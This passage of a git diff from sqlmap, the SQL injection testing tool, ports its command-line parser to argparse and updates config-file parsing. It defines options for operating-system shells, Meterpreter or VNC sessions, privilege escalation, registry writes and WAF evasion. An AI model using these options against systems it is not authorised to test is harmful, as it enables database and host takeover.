to") # Takeover options - takeover = OptionGroup(parser, "Operating system access", "These " - "options can be used to access the back-end " - "database management system underlying " - "operating system") - - takeover.add_option("--os-cmd", dest="osCmd", - help="Execute an operating system command") - - takeover.add_option("--os-shell", dest="osShell", - action="store_true", - help="Prompt for an interactive operating " - "system shell") - - takeover.add_option("--os-pwn", dest="osPwn", - action="store_true", - help="Prompt for an out-of-band shell, " - "meterpreter or VNC") - - takeover.add_option("--os-smbrelay", dest="osSmb", - action="store_true", - help="One click prompt for an OOB shell, " - "meterpreter or VNC") - - takeover.add_option("--os-bof", dest="osBof", - action="store_true", - help="Stored procedure buffer overflow " + takeover = parser.add_argument_group("Operating system access", "These options can be used to access the back-end database management system underlying operating system") + + takeover.add_argument("--os-cmd", dest="osCmd", + help="Execute an operating system command") + + takeover.add_argument("--os-shell", dest="osShell", action="store_true", + help="Prompt for an interactive operating system shell") + + takeover.add_argument("--os-pwn", dest="osPwn", action="store_true", + help="Prompt for an OOB shell, Meterpreter or VNC") + + takeover.add_argument("--os-smbrelay", dest="osSmb", action="store_true", + help="One click prompt for an OOB shell, Meterpreter or VNC") + + takeover.add_argument("--os-bof", dest="osBof", action="store_true", + help="Stored procedure buffer overflow " "exploitation") - takeover.add_option("--priv-esc", dest="privEsc", - action="store_true", - help="Database process' user privilege escalation") + takeover.add_argument("--priv-esc", dest="privEsc", action="store_true", + help="Database process user privilege escalation") - takeover.add_option("--msf-path", dest="msfPath", - help="Local path where Metasploit Framework " - "is installed") + takeover.add_argument("--msf-path", dest="msfPath", + help="Local path where Metasploit Framework is installed") - takeover.add_option("--tmp-path", dest="tmpPath", - help="Remote absolute path of temporary files " - "directory") + takeover.add_argument("--tmp-path", dest="tmpPath", + help="Remote absolute path of temporary files directory") # Windows registry options - windows = OptionGroup(parser, "Windows registry access", "These " - "options can be used to access the back-end " - "database management system Windows " - "registry") + windows = parser.add_argument_group("Windows registry access", "These options can be used to access the back-end database management system Windows registry") - windows.add_option("--reg-read", dest="regRead", - action="store_true", - help="Read a Windows registry key value") + windows.add_argument("--reg-read", dest="regRead", action="store_true", + help="Read a Windows registry key value") - windows.add_option("--reg-add", dest="regAdd", - action="store_true", - help="Write a Windows registry key value data") + windows.add_argument("--reg-add", dest="regAdd", action="store_true", + help="Write a Windows registry key value data") - windows.add_option("--reg-del", dest="regDel", - action="store_true", - help="Delete a Windows registry key value") + windows.add_argument("--reg-del", dest="regDel", action="store_true", + help="Delete a Windows registry key value") - windows.add_option("--reg-key", dest="regKey", - help="Windows registry key") + windows.add_argument("--reg-key", dest="regKey", + help="Windows registry key") - windows.add_option("--reg-value", dest="regVal", - help="Windows registry key value") + windows.add_argument("--reg-value", dest="regVal", + help="Windows registry key value") - windows.add_option("--reg-data", dest="regData", - help="Windows registry key value data") + windows.add_argument("--reg-data", dest="regData", + help="Windows registry key value data") - windows.add_option("--reg-type", dest="regType", - help="Windows registry key value type") + windows.add_argument("--reg-type", dest="regType", + help="Windows registry key value type") # General options - general = OptionGroup(parser, "General", "These options can be used " - "to set some general working parameters" ) + general = parser.add_argument_group("General", "These options can be used to set some general working parameters") + + general.add_argument("-s", dest="sessionFile", + help="Load session from a stored (.sqlite) file") + + general.add_argument("-t", dest="trafficFile", + help="Log all HTTP traffic into a textual file") + + general.add_argument("--abort-on-empty", dest="abortOnEmpty", action="store_true", + help="Abort data retrieval on empty results") + + general.add_argument("--answers", dest="answers", + help="Set predefined answers (e.g. \"quit=N,follow=N\")") + + general.add_argument("--base64", dest="base64Parameter", + help="Parameter(s) containing Base64 encoded data") + + general.add_argument("--base64-safe", dest="base64Safe", action="store_true", + help="Use URL and filename safe Base64 alphabet (RFC 4648)") + + general.add_argument("--batch", dest="batch", action="store_true", + help="Never ask for user input, use the default behavior") + + general.add_argument("--binary-fields", dest="binaryFields", + help="Result fields having binary values (e.g. \"digest\")") - #general.add_option("-x", dest="xmlFile", - # help="Dump the data into an XML file") + general.add_argument("--check-internet", dest="checkInternet", action="store_true", + help="Check Internet connection before assessing the target") - general.add_option("-t", dest="trafficFile", - help="Log all HTTP traffic into a " - "textual file") + general.add_argument("--cleanup", dest="cleanup", action="store_true", + help="Clean up the DBMS from sqlmap specific UDF and tables") - general.add_option("--batch", dest="batch", - action="store_true", - help="Never ask for user input, use the default behaviour") + general.add_argument("--crawl", dest="crawlDepth", type=int, + help="Crawl the website starting from the target URL") - general.add_option("--charset", dest="charset", - help="Force character encoding used for data retrieval") + general.add_argument("--crawl-exclude", dest="crawlExclude", + help="Regexp to exclude pages from crawling (e.g. \"logout\")") - general.add_option("--check-tor", dest="checkTor", - action="store_true", - help="Check to see if Tor is used properly") + general.add_argument("--csv-del", dest="csvDel", + help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel) - general.add_option("--crawl", dest="crawlDepth", type="int", - help="Crawl the website starting from the target url") + general.add_argument("--charset", dest="charset", + help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") - general.add_option("--csv-del", dest="csvDel", - help="Delimiting character used in CSV output " - "(default \"%s\")" % defaults.csvDel) + general.add_argument("--dump-file", dest="dumpFile", + help="Store dumped data to a custom file") - general.add_option("--dbms-cred", dest="dCred", - help="DBMS authentication credentials (user:password)") + general.add_argument("--dump-format", dest="dumpFormat", + help="Format of dumped data (CSV (default), HTML or SQLITE)") - general.add_option("--eta", dest="eta", - action="store_true", - help="Display for each output the " - "estimated time of arrival") + general.add_argument("--encoding", dest="encoding", + help="Character encoding used for data retrieval (e.g. GBK)") - general.add_option("--flush-session", dest="flushSession", - action="store_true", - help="Flush session files for current target") + general.add_argument("--eta", dest="eta", action="store_true", + help="Display for each output the estimated time of arrival") - general.add_option("--forms", dest="forms", - action="store_true", - help="Parse and test forms on target url") + general.add_argument("--flush-session", dest="flushSession", action="store_true", + help="Flush session files for current target") - general.add_option("--fresh-queries", dest="freshQueries", - action="store_true", - help="Ignores query results stored in session file") + general.add_argument("--forms", dest="forms", action="store_true", + help="Parse and test forms on target URL") - general.add_option("--hex", dest="hexConvert", - action="store_true", - help="Uses DBMS hex function(s) for data retrieval") + general.add_argument("--fresh-queries", dest="freshQueries", action="store_true", + help="Ignore query results stored in session file") - general.add_option("--output-dir", dest="oDir", - action="store", - help="Custom output directory path") + general.add_argument("--gpage", dest="googlePage", type=int, + help="Use Google dork results from specified page number") - general.add_option("--parse-errors", dest="parseErrors", - action="store_true", - help="Parse and display DBMS error messages from responses") + general.add_argument("--har", dest="harFile", + help="Log all HTTP traffic into a HAR file") - general.add_option("--replicate", dest="replicate", - action="store_true", - help="Replicate dumped data into a sqlite3 database") + general.add_argument("--hex", dest="hexConvert", action="store_true", + help="Use hex conversion during data retrieval") - general.add_option("--save", dest="saveCmdline", - action="store_true", - help="Save options to a configuration INI file") + general.add_argument("--output-dir", dest="outputDir", action="store", + help="Custom output directory path") - general.add_option("--tor", dest="tor", - action="store_true", - help="Use Tor anonymity network") + general.add_argument("--parse-errors", dest="parseErrors", action="store_true", + help="Parse and display DBMS error messages from responses") - general.add_option("--tor-port", dest="torPort", - help="Set Tor proxy port other than default") + general.add_argument("--preprocess", dest="preprocess", + help="Use given script(s) for preprocessing (request)") - general.add_option("--tor-type", dest="torType", - help="Set Tor proxy type (HTTP - default, SOCKS4 or SOCKS5)") + general.add_argument("--postprocess", dest="postprocess", + help="Use given script(s) for postprocessing (response)") - general.add_option("--update", dest="updateAll", - action="store_true", - help="Update sqlmap") + general.add_argument("--repair", dest="repair", action="store_true", + help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) + + general.add_argument("--save", dest="saveConfig", + help="Save options to a configuration INI file") + + general.add_argument("--scope", dest="scope", + help="Regexp for filtering targets") + + general.add_argument("--skip-heuristics", dest="skipHeuristics", action="store_true", + help="Skip heuristic detection of vulnerabilities") + + general.add_argument("--skip-waf", dest="skipWaf", action="store_true", + help="Skip heuristic detection of WAF/IPS protection") + + general.add_argument("--table-prefix", dest="tablePrefix", + help="Prefix used for temporary tables (default: \"%s\")" % defaults.tablePrefix) + + general.add_argument("--test-filter", dest="testFilter", + help="Select tests by payloads and/or titles (e.g. ROW)") + + general.add_argument("--test-skip", dest="testSkip", + help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") + + general.add_argument("--time-limit", dest="timeLimit", type=float, + help="Run with a time limit in seconds (e.g. 3600)") + + general.add_argument("--unsafe-naming", dest="unsafeNaming", action="store_true", + help="Disable escaping of DBMS identifiers (e.g. \"user\")") + + general.add_argument("--web-root", dest="webRoot", + help="Web server document root directory (e.g. \"/var/www\")") # Miscellaneous options - miscellaneous = OptionGroup(parser, "Miscellaneous") + miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category") + + miscellaneous.add_argument("-z", dest="mnemonics", + help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") + + miscellaneous.add_argument("--alert", dest="alert", + help="Run host OS command(s) when SQL injection is found") - miscellaneous.add_option("-z", dest="mnemonics", - help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") + miscellaneous.add_argument("--beep", dest="beep", action="store_true", + help="Beep on question and/or when vulnerability is found") - miscellaneous.add_option("--beep", dest="beep", - action="store_true", - help="Sound alert when SQL injection found") + miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true", + help="Check for missing (optional) sqlmap dependencies") - miscellaneous.add_option("--check-payload", dest="checkPayload", - action="store_true", - help="Offline WAF/IPS/IDS payload detection testing") + miscellaneous.add_argument("--disable-coloring", dest="disableColoring", action="store_true", + help="Disable console output coloring") - miscellaneous.add_option("--check-waf", dest="checkWaf", - action="store_true", - help="Check for existence of WAF/IPS/IDS protection") + miscellaneous.add_argument("--disable-hashing", dest="disableHashing", action="store_true", + help="Disable hash analysis on table dumps") - miscellaneous.add_option("--cleanup", dest="cleanup", - action="store_true", - help="Clean up the DBMS by sqlmap specific " - "UDF and tables") + miscellaneous.add_argument("--gui", dest="gui", action="store_true", + help="Experimental Tkinter GUI") - miscellaneous.add_option("--dependencies", dest="dependencies", - action="store_true", - help="Check for missing sqlmap dependencies") + miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", + help="Display list of available tamper scripts") - miscellaneous.add_option("--disable-hash", dest="disableHash", - action="store_true", - help="Disable password hash cracking mechanism") + miscellaneous.add_argument("--no-logging", dest="noLogging", action="store_true", + help="Disable logging to a file") - miscellaneous.add_option("--disable-like", dest="disableLike", - action="store_true", - help="Disable LIKE search of identificator names") + miscellaneous.add_argument("--no-truncate", dest="noTruncate", action="store_true", + help="Disable console output truncation (e.g. long entr...)") - miscellaneous.add_option("--gpage", dest="googlePage", type="int", - help="Use Google dork results from specified page number") + miscellaneous.add_argument("--offline", dest="offline", action="store_true", + help="Work in offline mode (only use session data)") - miscellaneous.add_option("--mobile", dest="mobile", - action="store_true", - help="Imitate smartphone through HTTP User-Agent header") + miscellaneous.add_argument("--purge", dest="purge", action="store_true", + help="Safely remove all content from sqlmap data directory") - miscellaneous.add_option("--page-rank", dest="pageRank", - action="store_true", - help="Display page rank (PR) for Google dork results") + miscellaneous.add_argument("--results-file", dest="resultsFile", + help="Location of CSV results file in multiple targets mode") - miscellaneous.add_option("--purge-output", dest="purgeOutput", - action="store_true", - help="Safely remove all content from output directory") + miscellaneous.add_argument("--shell", dest="shell", action="store_true", + help="Prompt for an interactive sqlmap shell") - miscellaneous.add_option("--smart", dest="smart", - action="store_true", - help="Conduct through tests only if positive heuristic(s)") + miscellaneous.add_argument("--tmp-dir", dest="tmpDir", + help="Local directory for storing temporary files") - miscellaneous.add_option("--test-filter", dest="tstF", - help="Select tests by payloads and/or titles (e.g. ROW)") + miscellaneous.add_argument("--tui", dest="tui", action="store_true", + help="Experimental ncurses TUI") - miscellaneous.add_option("--wizard", dest="wizard", - action="store_true", - help="Simple wizard interface for beginner users") + miscellaneous.add_argument("--unstable", dest="unstable", action="store_true", + help="Adjust options for unstable connections") + + miscellaneous.add_argument("--update", dest="updateAll", action="store_true", + help="Update sqlmap") + + miscellaneous.add_argument("--wizard", dest="wizard", action="store_true", + help="Simple wizard interface for beginner users") # Hidden and/or experimental options - parser.add_option("--profile", dest="profile", action="store_true", - help=SUPPRESS_HELP) - - parser.add_option("--cpu-throttle", dest="cpuThrottle", type="int", - help=SUPPRESS_HELP) - - parser.add_option("--smoke-test", dest="smokeTest", action="store_true", - help=SUPPRESS_HELP) - - parser.add_option("--live-test", dest="liveTest", action="store_true", - help=SUPPRESS_HELP) - - parser.add_option("--real-test", dest="realTest", action="store_true", - help=SUPPRESS_HELP) - - parser.add_option("--run-case", dest="runCase", type="int", - help=SUPPRESS_HELP) - - parser.add_option_group(target) - parser.add_option_group(request) - parser.add_option_group(optimization) - parser.add_option_group(injection) - parser.add_option_group(detection) - parser.add_option_group(techniques) - parser.add_option_group(fingerprint) - parser.add_option_group(enumeration) - parser.add_option_group(brute) - parser.add_option_group(udf) - parser.add_option_group(filesystem) - parser.add_option_group(takeover) - parser.add_option_group(windows) - parser.add_option_group(general) - parser.add_option_group(miscellaneous) - - # Dirty hack for making a short option -hh - option = parser.get_option("--hh") - option._short_opts = ["-hh"] - option._long_opts = [] - - # Dirty hack for inherent help message of switch -h - option = parser.get_option("-h") - option.help = option.help.capitalize().replace("this help", "basic help") - - args = [] - advancedHelp = True + parser.add_argument("--crack", dest="hashFile", + help=SUPPRESS) # "Load and crack hashes from a file (standalone)" - for arg in sys.argv: - args.append(getUnicode(arg, system=True)) + parser.add_argument("--dummy", dest="dummy", action="store_true", + help=SUPPRESS) - # Hide non-basic options in basic help case - for i in xrange(len(sys.argv)): - if sys.argv[i] == '-hh': - sys.argv[i] = '-h' - elif sys.argv[i] == '-h': + parser.add_argument("--yuge", dest="yuge", action="store_true", + help=SUPPRESS) + + parser.add_argument("--murphy-rate", dest="murphyRate", type=int, + help=SUPPRESS) + + parser.add_argument("--debug", dest="debug", action="store_true", + help=SUPPRESS) + + parser.add_argument("--deprecations", dest="deprecations", action="store_true", + help=SUPPRESS) + + parser.add_argument("--disable-multi", dest="disableMulti", action="store_true", + help=SUPPRESS) + + parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true", + help=SUPPRESS) + + parser.add_argument("--profile", dest="profile", action="store_true", + help=SUPPRESS) + + parser.add_argument("--localhost", dest="localhost", action="store_true", + help=SUPPRESS) + + parser.add_argument("--force-dbms", dest="forceDbms", + help=SUPPRESS) + + parser.add_argument("--force-dns", dest="forceDns", action="store_true", + help=SUPPRESS) + + parser.add_argument("--force-partial", dest="forcePartial", action="store_true", + help=SUPPRESS) + + parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", + help=SUPPRESS) + + parser.add_argument("--ignore-stdin", dest="ignoreStdin", action="store_true", + help=SUPPRESS) + + parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true", + help=SUPPRESS) + + parser.add_argument("--smoke-test", dest="smokeTest", action="store_true", + help=SUPPRESS) + + parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", + help=SUPPRESS) + + parser.add_argument("--disable-json", dest="disableJson", action="store_true", + help=SUPPRESS) + + # API options + parser.add_argument("--api", dest="api", action="store_true", + help=SUPPRESS) + + parser.add_argument("--taskid", dest="taskid", + help=SUPPRESS) + + parser.add_argument("--database", dest="database", + help=SUPPRESS) + + # Dirty hack to display longer options without breaking into two lines + if hasattr(parser, "formatter"): + def _(self, *args): + retVal = parser.formatter._format_option_strings(*args) + if len(retVal) > MAX_HELP_OPTION_LENGTH: + retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal + return retVal + + parser.formatter._format_option_strings = parser.formatter.format_option_strings + parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) + else: + def _format_action_invocation(self, action): + retVal = self.__format_action_invocation(action) + if len(retVal) > MAX_HELP_OPTION_LENGTH: + retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - self._indent_increment)) % retVal + return retVal + + parser.formatter_class.__format_action_invocation = parser.formatter_class._format_action_invocation + parser.formatter_class._format_action_invocation = _format_action_invocation + + # Dirty hack for making a short option '-hh' + if hasattr(parser, "get_option"): + option = parser.get_option("--hh") + option._short_opts = ["-hh"] + option._long_opts = [] + else: + for action in get_actions(parser): + if action.option_strings == ["--hh"]: + action.option_strings = ["-hh"] + break + + # Dirty hack for inherent help message of switch '-h' + if hasattr(parser, "get_option"): + option = parser.get_option("-h") + option.help = option.help.capitalize().replace("this help", "basic help") + else: + for action in get_actions(parser): + if action.option_strings == ["-h", "--help"]: + action.help = action.help.capitalize().replace("this help", "basic help") + break + + _ = [] + advancedHelp = True + extraHeaders = [] + auxIndexes = {} + + # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") + for arg in argv: + _.append(getUnicode(arg, encoding=sys.stdin.encoding)) + + argv = _ + checkOldOptions(argv) + + if "--gui" in argv: + from lib.utils.gui import runGui + + runGui(parser) + + raise SqlmapSilentQuitException + + elif "--tui" in argv: + from lib.utils.tui import runTui + + runTui(parser) + + raise SqlmapSilentQuitException + + elif "--shell" in argv: + _createHomeDirectories() + + parser.usage = "" + cmdLineOptions.sqlmapShell = True + + commands = set(("x", "q", "exit", "quit", "clear")) + commands.update(get_all_options(parser)) + + autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=commands) + + while True: + command = None + prompt = "sqlmap > " + + try: + # Note: in Python2 command should not be converted to Unicode before passing to shlex (Reference: https://bugs.python.org/issue1170) + command = _input(prompt).strip() + except (KeyboardInterrupt, EOFError): + print() + raise SqlmapShellQuitException + + command = re.sub(r"(?i)\Anew\s+", "", command or "") + + if not command: + continue + elif command.lower() == "clear": + clearHistory() + dataToStdout("[i] history cleared\n") + saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) + elif command.lower() in ("x", "q", "exit", "quit"): + raise SqlmapShellQuitException + elif command[0] != '-': + if not re.search(r"(?i)\A(\?|help)\Z", command): + dataToStdout("[!] invalid option(s) provided\n") + dataToStdout("[i] valid example: '-u http://www.site.com/vuln.php?id=1 --banner'\n") + else: + saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) + loadHistory(AUTOCOMPLETE_TYPE.SQLMAP) + break + + try: + for arg in shlex.split(command): + argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) + except ValueError as ex: + raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex)) + + longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help())) + longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help())) + + for i in xrange(len(argv)): + # Reference: https://en.wiktionary.org/wiki/- + argv[i] = re.sub(u"\\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i]) + + # Reference: https://unicode-table.com/en/sets/quotation-marks/ + argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C") + + if argv[i] == "-hh": + argv[i] = "-h" + elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None: + argv[i] = "--url=%s" % argv[i] + elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])): + dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n" % argv[i]) + raise SystemExit + elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]: + dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n" % argv[i]) + raise SystemExit + elif re.search(r"\A-\w=.+", argv[i]): + dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i]) + raise SystemExit + elif re.search(r"\A-\w{3,}", argv[i]): + if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches): + argv[i] = "-%s" % argv[i] + elif argv[i] in IGNORED_OPTIONS: + argv[i] = "" + elif argv[i] in DEPRECATED_OPTIONS: + argv[i] = "" + elif argv[i] in ("-s", "--silent"): + if i + 1 < len(argv) and argv[i + 1].startswith('-') or i + 1 == len(argv): + argv[i] = "" + conf.verbose = 0 + elif argv[i].startswith("--data-raw"): + argv[i] = argv[i].replace("--data-raw", "--data", 1) + elif argv[i].startswith("--auth-creds"): + argv[i] = argv[i].replace("--auth-creds", "--auth-cred", 1) + elif argv[i].startswith("--drop-cookie"): + argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1) + elif re.search(r"\A--tamper[^=\s]", argv[i]): + argv[i] = "" + elif re.search(r"\A(--(tamper|ignore-code|skip))(?!-)", argv[i]): + key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1) + index = auxIndexes.get(key, None) + if index is None: + index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None) + auxIndexes[key] = index + else: + delimiter = ',' + argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else "")) + argv[i] = "" + elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")): + if '=' in argv[i]: + extraHeaders.append(argv[i].split('=', 1)[1]) + elif i + 1 < len(argv): + extraHeaders.append(argv[i + 1]) + elif argv[i] == "--deps": + argv[i] = "--dependencies" + elif argv[i] == "--disable-colouring": + argv[i] = "--disable-coloring" + elif argv[i] == "-r": + for j in xrange(i + 2, len(argv)): + value = argv[j] + if os.path.isfile(value): + argv[i + 1] += ",%s" % value + argv[j] = '' + else: + break + elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]): + argv[i] = argv[i][:-1] + conf.skipThreadCheck = True + elif argv[i] == "--version": + print(VERSION_STRING.split('/')[-1]) + raise SystemExit + elif argv[i] in ("-h", "--help"): advancedHelp = False - for group in parser.option_groups[:]: + for group in get_groups(parser)[:]: found = False - for option in group.option_list: + for option in get_actions(group): if option.dest not in BASIC_HELP_ITEMS: - option.help = SUPPRESS_HELP + option.help = SUPPRESS else: found = True if not found: - parser.option_groups.remove(group) + get_groups(parser).remove(group) + elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r"\A-{1,2}\w", argv[i - 1]) is None: + dataToStdout("[!] detected usage of long-option without a starting hyphen ('%s')\n" % argv[i]) + raise SystemExit + + for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)): + try: + if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit(): + conf.verbose = verbosity.count('v') + del argv[argv.index(verbosity)] + except (IndexError, ValueError): + pass try: - (args, _) = parser.parse_args(args) + (args, _) = parser.parse_known_args(argv) if hasattr(parser, "parse_known_args") else parser.parse_args(argv) + except UnicodeEncodeError as ex: + dataToStdout("\n[!] %s\n" % getUnicode(ex.object.encode("unicode-escape"))) + raise SystemExit except SystemExit: - if '-h' in sys.argv and not advancedHelp: - print "\n[!] to see full list of options run with '-hh'" + if "-h" in argv and not advancedHelp: + dataToStdout("\n[!] to see full list of options run with '-hh'\n") raise + if extraHeaders: + if not args.headers: + args.headers = "" + delimiter = "\\n" if "\\n" in args.headers else "\n" + args.headers += delimiter + delimiter.join(extraHeaders) + # Expand given mnemonic options (e.g. -z "ign,flu,bat") - for i in xrange(len(sys.argv) - 1): - if sys.argv[i] == '-z': - expandMnemonics(sys.argv[i+1], parser, args) - - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \ - args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.realTest, args.wizard, args.dependencies, args.purgeOutput)): - errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --update, --purge-output or --dependencies), " - errMsg += "use -h for basic or -hh for advanced help" + for i in xrange(len(argv) - 1): + if argv[i] == "-z": + expandMnemonics(argv[i + 1], parser, args) + + if args.dummy: + args.url = args.url or DUMMY_URL + + if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), args.api, args.ignoreStdin, "GITHUB_ACTIONS" in os.environ)): + args.stdinPipe = iter(sys.stdin.readline, None) + else: + args.stdinPipe = None + + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): + errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " + errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) return args - except (OptionError, TypeError), e: - parser.error(e) + except (ArgumentError, TypeError) as ex: + parser.error(ex) except SystemExit: # Protection against Windows dummy double clicking - if IS_WIN: - print "\nPress Enter to continue...", - raw_input() + if IS_WIN and "--non-interactive" not in sys.argv: + dataToStdout("\nPress Enter to continue...") + _input() raise debugMsg = "parsing command line" diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index ae4c12b6ac8..a3bd3786b4f 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,41 +1,46 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import codecs - -from ConfigParser import MissingSectionHeaderError - from lib.core.common import checkFile +from lib.core.common import getSafeExString +from lib.core.common import openFile from lib.core.common import unArrayizeValue from lib.core.common import UnicodeRawConfigParser +from lib.core.convert import getUnicode +from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapSyntaxException +from lib.core.enums import OPTION_TYPE +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapSyntaxException from lib.core.optiondict import optDict -from lib.core.settings import UNICODE_ENCODING config = None -def configFileProxy(section, option, boolean=False, integer=False): +def configFileProxy(section, option, datatype): """ Parse configuration file and save settings into the configuration advanced dictionary. """ - global config - if config.has_option(section, option): - if boolean: - value = config.getboolean(section, option) if config.get(section, option) else False - elif integer: - value = config.getint(section, option) if config.get(section, option) else 0 - else: - value = config.get(section, option) + try: + if datatype == OPTION_TYPE.BOOLEAN: + value = config.getboolean(section, option) if config.get(section, option) else False + elif datatype == OPTION_TYPE.INTEGER: + value = config.getint(section, option) if config.get(section, option) else 0 + elif datatype == OPTION_TYPE.FLOAT: + value = config.getfloat(section, option) if config.get(section, option) else 0.0 + else: + value = config.get(section, option) + except ValueError as ex: + errMsg = "error occurred while processing the option " + errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex)) + raise SqlmapSyntaxException(errMsg) if value: conf[option] = value @@ -59,36 +64,35 @@ def configFileParser(configFile): logger.debug(debugMsg) checkFile(configFile) - configFP = codecs.open(configFile, "rb", UNICODE_ENCODING) + configFP = openFile(configFile, 'r') try: config = UnicodeRawConfigParser() - config.readfp(configFP) - except MissingSectionHeaderError: - errMsg = "you have provided an invalid configuration file" - raise sqlmapSyntaxException, errMsg + if hasattr(config, "read_file"): + config.read_file(configFP) + else: + config.readfp(configFP) + except Exception as ex: + errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) + raise SqlmapSyntaxException(errMsg) if not config.has_section("Target"): errMsg = "missing a mandatory section 'Target' in the configuration file" - raise sqlmapMissingMandatoryOptionException, errMsg + raise SqlmapMissingMandatoryOptionException(errMsg) + + mandatory = False - condition = not config.has_option("Target", "url") - condition &= not config.has_option("Target", "logFile") - condition &= not config.has_option("Target", "bulkFile") - condition &= not config.has_option("Target", "googleDork") - condition &= not config.has_option("Target", "requestFile") - condition &= not config.has_option("Target", "wizard") + for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "wizard"): + if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option): + mandatory = True + break - if condition: + if not mandatory: errMsg = "missing a mandatory option in the configuration file " - errMsg += "(url, logFile, bulkFile, googleDork, requestFile or wizard)" - raise sqlmapMissingMandatoryOptionException, errMsg + errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)" + raise SqlmapMissingMandatoryOptionException(errMsg) for family, optionData in optDict.items(): for option, datatype in optionData.items(): datatype = unArrayizeValue(datatype) - - boolean = datatype == "boolean" - integer = datatype == "integer" - - configFileProxy(family, option, boolean, integer) + configFileProxy(family, option, datatype) diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 53a17bd23b6..f97bf5c7759 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler + from lib.core.common import sanitizeStr class FingerprintHandler(ContentHandler): @@ -19,7 +20,7 @@ class FingerprintHandler(ContentHandler): def __init__(self, banner, info): ContentHandler.__init__(self) - self._banner = sanitizeStr(banner) + self._banner = sanitizeStr(banner or "") self._regexp = None self._match = None self._dbmsVersion = None @@ -29,13 +30,13 @@ def __init__(self, banner, info): def _feedInfo(self, key, value): value = sanitizeStr(value) - if 